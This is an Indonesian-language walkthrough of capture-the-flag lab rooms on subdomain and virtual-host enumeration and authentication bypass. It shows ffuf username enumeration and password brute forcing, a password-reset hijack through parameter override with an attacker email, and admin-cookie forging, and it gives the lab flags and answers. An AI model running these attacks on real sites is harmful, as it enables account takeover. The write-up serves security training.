- Menyiapkan wordlist subdomain umum (misalnya:
admin,mail,dev,test,api). - Tool akan mencoba menggabungkan setiap kata dalam wordlist dengan domain target.
- Tool mengirim DNS request untuk memeriksa apakah subdomain tersebut valid atau tidak.
- Jika DNS memberikan respon, berarti subdomain tersebut ada.
Contoh:
admin.domain.com
mail.domain.com
dev.domain.com
api.domain.comTool yang Digunakan: dnsrecon
Salah satu tool yang sering digunakan untuk melakukan DNS enumeration adalah dnsrecon.
Fungsi utama dnsrecon:
- Melakukan DNS reconnaissance
- Melakukan bruteforce subdomain
- Mengumpulkan informasi DNS dari domain target
Contoh penggunaan:
dnsrecon -d domain.com -D wordlist.txt -t brtPenjelasan parameter:
-d→ domain target-D→ wordlist subdomain-t brt→ mode bruteforce
user@thm:~$ dnsrecon -t brt -d acmeitsupport.thm
[*] No file was specified with domains to check.
[*] Using file provided with tool: /usr/share/dnsrecon/namelist.txt
[*] A api.acmeitsupport.thm 10.10.10.10
[*] A www.acmeitsupport.thm 10.10.10.10
[+] 2 Record Found
user@thm:~$- What is the first subdomain found with the dnsrecon tool?
api.acmeitsupport.thm
OSINT - Sublist3r
Otomatisasi OSINT Subdomain Enumeration
Pengertian
Dalam proses OSINT subdomain discovery, pencarian subdomain secara manual (misalnya melalui search engine atau database publik) bisa memakan waktu lama. Untuk mempercepat proses tersebut, kita dapat menggunakan tools otomatis yang mengumpulkan informasi dari berbagai sumber secara bersamaan.
Salah satu tools yang sering digunakan adalah Sublist3r.
Sublist3r
Sublist3r adalah tools OSINT yang digunakan untuk mengumpulkan subdomain dari berbagai sumber publik secara otomatis.
Sumber data yang biasanya digunakan
Sublist3r mengumpulkan data dari beberapa sumber seperti:
- Search engine (Google, Bing, Yahoo)
- Certificate Transparency logs
- DNS records
- Website indexing services
- Database OSINT lainnya
Dengan menggabungkan banyak sumber, Sublist3r dapat menemukan lebih banyak subdomain dalam waktu yang lebih cepat dibanding pencarian manual.
Cara Kerja
Secara umum, prosesnya adalah:
- Memasukkan domain target.
- Tool melakukan query ke berbagai sumber OSINT.
- Mengumpulkan dan menampilkan daftar subdomain yang ditemukan.
Contoh penggunaan di terminal:
sublist3r -d domain.comPenjelasan:
-d→ domain target yang ingin dicari subdomainnya.
user@thm:~$ ./sublist3r.py -d acmeitsupport.thm
#
# ____ _ _ _ _ _____
# / ___| _ _| |__ | (_)___| |_|___ / _ __
# \___ \| | | | '_ \| | / __| __| |_ \| '__|
# ___) | |_| | |_) | | \__ \ |_ ___) | |
# |____/ \__,_|_.__/|_|_|___/\__|____/|_|
#
# # Coded By Ahmed Aboul-Ela - @aboul3la
#
# [-] Enumerating subdomains now for acmeitsupport.thm
# [-] Searching now in Baidu..
# [-] Searching now in Yahoo..
# [-] Searching now in Google..
# [-] Searching now in Bing..
# [-] Searching now in Ask..
# [-] Searching now in Netcraft..
# [-] Searching now in Virustotal..
# [-] Searching now in ThreatCrowd..
# [-] Searching now in SSL Certificates..
# [-] Searching now in PassiveDNS..
# [-] Searching now in Virustotal..
# [-] Total Unique Subdomains Found: 2
# web55.acmeitsupport.thm
# www.acmeitsupport.thm
user@thm:~$- What is the first subdomain discovered by sublist3r?
web55.acmeitsupport.thm
Virtual Hosts
Virtual Host (VHost) Enumeration
Pengertian
Tidak semua subdomain selalu tercatat pada DNS publik. Beberapa subdomain seperti:
- versi development aplikasi
- admin portal
- layanan internal
sering kali hanya disimpan pada:
- Private DNS server
- file hosts lokal developer
Contoh lokasi file hosts:
- Linux / macOS:
/etc/hosts - Windows:
C:\Windows\System32\drivers\etc\hosts
File tersebut digunakan untuk memetakan domain ke alamat IP secara langsung tanpa melalui DNS publik.
Konsep Virtual Host
Satu web server dapat menjalankan banyak website sekaligus pada satu alamat IP. Server menentukan website mana yang diminta oleh client melalui HTTP Host Header.
Contoh request header:
Host: example.comJika kita mengubah nilai Host header, server mungkin merespon dengan website lain yang berada pada server yang sama.
Teknik ini dapat digunakan untuk menemukan subdomain tersembunyi (Virtual Hosts).
Otomatisasi Virtual Host Discovery
Seperti DNS Bruteforce, proses ini dapat diotomatisasi menggunakan:
- wordlist subdomain
- tools fuzzing seperti ffuf
Tool: ffuf (Fuzz Faster U Fool)
Perintah Dasar
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228Penjelasan Parameter
-w→ menentukan wordlist yang digunakan-H→ menambahkan atau mengubah HTTP headerFUZZ→ placeholder yang akan diganti dengan setiap kata dari wordlist-u→ URL target
Tool akan mencoba setiap kemungkinan:
admin.acmeitsupport.thm
test.acmeitsupport.thm
dev.acmeitsupport.thm
portal.acmeitsupport.thmFiltering Output
Perintah pertama biasanya menghasilkan banyak hasil yang sama, sehingga perlu difilter menggunakan page size.
Gunakan parameter -fs (filter size).
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228 -fs {size}Fungsi
-fs akan mengabaikan respon dengan ukuran halaman tertentu, sehingga hanya hasil yang berbeda yang ditampilkan.
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228
# reference [Status: 200, Size: 2395, Words: 503, Lines: 52]
# register [Status: 200, Size: 2395, Words: 503, Lines: 52]
# reg [Status: 200, Size: 2395, Words: 503, Lines: 52]
# registry [Status: 200, Size: 2395, Words: 503, Lines: 52]
# registro [Status: 200, Size: 2395, Words: 503, Lines: 52]
# regs [Status: 200, Size: 2395, Words: 503, Lines: 52]
# relay [Status: 200, Size: 2395, Words: 503, Lines: 52]
# rem [Status: 200, Size: 2395, Words: 503, Lines: 52]
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228 --fs 2395
# delta [Status: 200, Size: 51, Words: 7, Lines: 1]
# yellow [Status: 200, Size: 56, Words: 8, Lines: 1]- What is the first subdomain discovered?
delta
- What is the second subdomain discovered?
yellow
Authentication Bypass
Brief
Username Enumeration
Username enumeration adalah teknik untuk menemukan username yang valid pada sebuah sistem autentikasi. Teknik ini sering digunakan saat melakukan pengujian keamanan (security testing) untuk mengidentifikasi akun yang sudah terdaftar.
Mengetahui username yang valid sangat berguna karena:
- Mempersempit target saat melakukan password attack (bruteforce / credential stuffing).
- Membantu menemukan vulnerability pada sistem autentikasi.
Sumber Informasi: Error Message
Konsep
Pesan error dari website sering kali memberikan informasi sensitif yang dapat dimanfaatkan oleh attacker.
Contoh pada halaman signup:
An account with this username already existsPesan ini menunjukkan bahwa username yang dimasukkan sudah terdaftar, sehingga kita dapat memastikan bahwa username tersebut valid.
Target Lab
Halaman signup yang digunakan:
http://10.49.144.172/customers/signupJika mencoba membuat akun dengan username admin, website akan menampilkan pesan bahwa username tersebut sudah ada.
Hal ini menunjukkan bahwa website rentan terhadap username enumeration.
Otomatisasi dengan ffuf
Untuk mempercepat proses pengecekan banyak username, kita dapat menggunakan ffuf (Fuzz Faster U Fool).
Contoh perintah:
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
-X POST \
-d "username=FUZZ&email=x&password=x&cpassword=x" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.49.144.172/customers/signup \
-mr "username already exists"Penjelasan Parameter
-w→ lokasi file wordlist username-X→ metode request HTTP (POST)-d→ data form yang dikirim ke serverFUZZ→ placeholder untuk setiap username dari wordlist-H→ menambahkan HTTP header-u→ URL target-mr→ filter hasil berdasarkan teks tertentu pada response
Tool akan mencoba setiap username dari wordlist seperti:
admin
john
james
david
michaelJika server merespon dengan teks "username already exists", maka username tersebut valid.
Output yang Harus Dibuat
Buat file untuk menyimpan username yang valid:
valid_usernames.txtIsi file tersebut dengan username yang ditemukan oleh ffuf. Contoh:
admin
john
david
michaelFile ini akan digunakan pada task berikutnya untuk melakukan pengujian autentikasi lebih lanjut.
curl http://10.48.173.233/customers/signup
# username=a&email=a&password=a&cpassword=a
# An account with this username already exists
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=a&password=a&cpassword=a" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.173.233/customers/signup -mr "An account with this username already exists"
# admin [Status: 200, Size: 3720, Words: 992, Lines: 77]
# robert [Status: 200, Size: 3720, Words: 992, Lines: 77]
# simon [Status: 200, Size: 3720, Words: 992, Lines: 77]
# steve [Status: 200, Size: 3720, Words: 992, Lines: 77]
# :: Progress: [10164/10164] :: Job [1/1] :: 682 req/sec :: Duration: [0:00:16] :: Errors: 0 ::- What is the username starting with si*** ?
simon
- What is the username starting with st*** ?
steve
- What is the username starting with ro**** ?
robert
Brute Force
Brute force attack adalah teknik serangan otomatis yang mencoba banyak kombinasi username dan password hingga menemukan kredensial yang valid.
Serangan ini biasanya menggunakan:
- Daftar username valid
- Wordlist password umum
Pada lab ini, kita menggunakan username yang sudah ditemukan sebelumnya dari proses username enumeration.
Target Login Page
Halaman login yang menjadi target:
http://10.48.173.233/customers/loginFile yang digunakan:
valid_usernames.txt→ berisi username valid dari task sebelumnya- wordlist password → daftar password umum
Brute Force Menggunakan ffuf
Perintah yang digunakan:
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
-X POST \
-d "username=W1&password=W2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.48.173.233/customers/login \
-fc 200Penjelasan Parameter
-
-w→ menentukan wordlist yang digunakanvalid_usernames.txt:W1→ wordlist usernamepassword-list:W2→ wordlist password
-
W1danW2digunakan sebagai placeholder untuk multiple wordlist fuzzing. -
-X POST→ metode HTTP request yang digunakan. -
-d→ data form yang dikirim ke server. -
-H→ menambahkan header HTTP agar server mengenali data sebagai form. -
-u→ URL target login. -
-fc 200→ menyembunyikan response dengan status code 200 sehingga hanya response berbeda yang muncul.
cat << EOF > valid_usernames.txt
admin
simon
steve
robert
EOF
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.173.233/customers/login -fc 200
# [Status: 302, Size: 0, Words: 1, Lines: 1]
# * W1: steve
# * W2: thunder- What is the valid username and password (format: username/password)?
steve/thunder
Logic Flaw
Logic flaw adalah kelemahan keamanan yang terjadi ketika alur logika normal aplikasi dapat dilewati, dimanipulasi, atau disalahgunakan oleh penyerang.
Kerentanan ini tidak selalu berasal dari bug teknis, tetapi dari kesalahan dalam desain atau implementasi logika aplikasi.
Logic flaw dapat terjadi di berbagai bagian aplikasi web, seperti:
- sistem login
- reset password
- authorization
- proses validasi input
Contoh Logic Flaw
Berikut contoh kode sederhana:
if( url.substr(0,6) === '/admin') {
# Code to check user is an admin
} else {
# View Page
}Penjelasan
Kode tersebut memeriksa apakah URL yang diakses dimulai dengan /admin.
Jika benar:
- aplikasi akan melakukan pengecekan apakah user adalah admin
Jika tidak:
- halaman akan langsung ditampilkan.
Kerentanan
Kode menggunakan operator === yang memerlukan kecocokan string secara persis termasuk huruf besar/kecil.
Sehingga:
/admin → dicek
/adMin → tidak dicekAkibatnya, user yang tidak terautentikasi dapat mengakses halaman admin hanya dengan mengubah huruf pada URL.
Studi Kasus: Password Reset Vulnerability
Target halaman:
http://10.48.173.233/customers/resetTahap 1 – Input Email
Form pertama meminta email akun.
Jika email tidak valid → muncul pesan:
Account not found from supplied email addressContoh email valid:
robert@acmeitsupport.thmTahap 2 – Input Username
Form berikutnya meminta username yang terkait dengan email tersebut.
Jika username benar (robert), sistem menampilkan pesan bahwa email reset password akan dikirim.
Secara teori, proses ini terlihat aman karena membutuhkan:
- username
Analisis Request HTTP
Dalam proses reset password:
- Email dikirim melalui GET parameter
- Username dikirim melalui POST parameter
Contoh request menggunakan curl:
curl 'http://10.48.173.233/customers/reset?email=robert%40acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert'Penjelasan
-H→ menambahkan header HTTPContent-Type→ menunjukkan bahwa data dikirim sebagai form data-d→ data POST yang dikirim ke server
Kerentanan: Penggunaan $_REQUEST
Aplikasi menggunakan variabel PHP:
$_REQUESTVariabel ini menggabungkan data dari:
- GET
- POST
- COOKIE
Jika terdapat parameter yang sama pada GET dan POST, maka POST akan diprioritaskan.
Eksploitasi Logic Flaw
Penyerang dapat menambahkan parameter email tambahan pada POST data.
Request yang dimodifikasi:
curl 'http://10.48.173.233/customers/reset?email=robert%40acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email=attacker@hacker.com'Dampak
- Sistem tetap mencari akun Robert menggunakan parameter GET.
- Namun email reset password akan dikirim ke email yang dikirim melalui POST.
Artinya penyerang dapat mengalihkan email reset password ke email mereka sendiri.
Langkah Eksploitasi pada Lab
- Buat akun pada Acme IT Support customer portal.
- Akun akan memiliki email format:
{username}@customer.acmeitsupport.thm- Jalankan request berikut menggunakan email tersebut:
curl 'http://10.48.173.233/customers/reset?email=robert@acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email={username}@customer.acmeitsupport.thm'- Sistem akan membuat support ticket pada akunmu yang berisi link login sebagai Robert.
exploit
aria
aria@customer.acmeitsupport.thm
aria1234
USER=hacker${RANDOM}
PASS="Hacker123"
echo "Creating account with username: $USER and password: $PASS"
curl -X POST http://10.48.173.233/customers/signup -d "username=$USER" -d "email=$USER%40customer.acmeitsupport.thm" -d "password=$PASS" -d "cpassword=$PASS"
echo "Requesting password reset for Robert"
curl 'http://10.48.173.233/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d "username=robert&email=$USER@customer.acmeitsupport.thm"
echo "Check support ticket for login link"
# curl "http://10.48.173.233/customers/tickets/8"
setelah itu lakukan curl ke ticket 1 setelah login ke user robert untuk mendapatkan flagnya
curl http://10.48.173.233/customers/tickets/1
# Please don't tell anyone this! THM{AUTH_BYPASS_COMPLETE}- What is the flag from Robert's support ticket?
THM{AUTH_BYPASS_COMPLETE}
Cookie Tampering
Manipulasi Cookies pada Aplikasi Web
Cookies adalah data kecil yang disimpan oleh browser untuk menyimpan informasi sesi pengguna. Dengan memeriksa dan memodifikasi cookies, seorang attacker dapat memperoleh:
- Akses tanpa autentikasi
- Akses ke akun pengguna lain
- Hak akses lebih tinggi (privilege escalation)
Cookies dalam Bentuk Plain Text
Contoh Cookie
Setelah login, server dapat mengirim cookie seperti berikut:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/Penjelasan
logged_in→ menentukan apakah user sedang loginadmin→ menentukan apakah user memiliki hak admin
Karena nilainya plain text, attacker dapat mengubah nilainya secara manual.
Simulasi Menggunakan curl
Request 1 – Tanpa Cookie
curl http://10.48.173.233/cookie-testHasil:
Not Logged InRequest 2 – Login sebagai User
curl -H "Cookie: logged_in=true; admin=false" http://10.48.173.233/cookie-testHasil:
Logged In As A UserRequest 3 – Login sebagai Admin
curl -H "Cookie: logged_in=true; admin=true" http://10.48.173.233/cookie-testHasil:
Logged In As An AdminDengan mengubah nilai cookie, attacker bisa langsung memperoleh akses admin.
Hash pada Cookie
Kadang nilai cookie tidak berbentuk teks biasa, tetapi berupa hash (string panjang acak).
Hash adalah representasi satu arah dari data asli sehingga tidak dapat dikembalikan ke bentuk semula secara langsung. Contoh:
| Input | Metode Hash | Output |
|---|---|---|
| 1 | md5 | c4ca4238a0b923820dcc509a6f75849b |
| 1 | sha256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| 1 | sha512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
| 1 | sha1 | 356a192b7913b04c54574d18c28d46e6395428ab |
Crack Hash
Walaupun hash bersifat satu arah, banyak hash dapat ditemukan melalui database hash publik seperti:
Website ini menyimpan miliaran hash dan nilai aslinya sehingga dapat membantu menemukan plaintext dari hash tertentu.
Encoding pada Cookie
Encoding berbeda dengan hashing karena dapat dibalik (reversible).
Tujuan encoding:
- Mengubah data binary menjadi teks ASCII
- Memudahkan transmisi data melalui HTTP
Jenis Encoding Umum
- Base32 → karakter
A–Zdan2–7 - Base64 → karakter
a–z,A–Z,0–9,+,/, dan=
Contoh Cookie Base64
Server mengirim cookie berikut:
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/Jika Base64 didecode, hasilnya:
{"id":1,"admin": false}Eksploitasi
Langkah attacker:
- Decode nilai Base64 cookie.
- Ubah nilai admin menjadi true.
{"id":1,"admin": true}- Encode kembali ke Base64.
- Kirim cookie yang sudah dimodifikasi ke server.
Hasilnya:
- Server menganggap user sebagai admin
- Attacker memperoleh akses admin.
Lab
curl http://10.48.173.233/cookie-test
# Not Logged In
curl -H "Cookie: logged_in=true; admin=false" http://10.48.173.233/cookie-test
# Logged In As A User
curl -H "Cookie: logged_in=true; admin=true" http://10.48.173.233/cookie-test
# Logged In As An Admin - THM{COOKIE_TAMPERING}
- What is the flag from changing the plain text cookie values?
> THM{COOKIE_TAMPERING}
- https://crackstation.net/
```bash
3b2a1053e3270077456a79192070aa78
# 3b2a1053e3270077456a79192070aa78 md5 463729- What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ?
463729
echo "VEhNe0JBU0U2NF9FTkNPRElOR30=" | base64 -d
# THM{BASE64_ENCODING}- What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ?
THM{BASE64_ENCODING}
echo '{"id":1,"admin":true}' | base64
# eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==- Encode the following value using base64 {"id":1,"admin":true}
eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==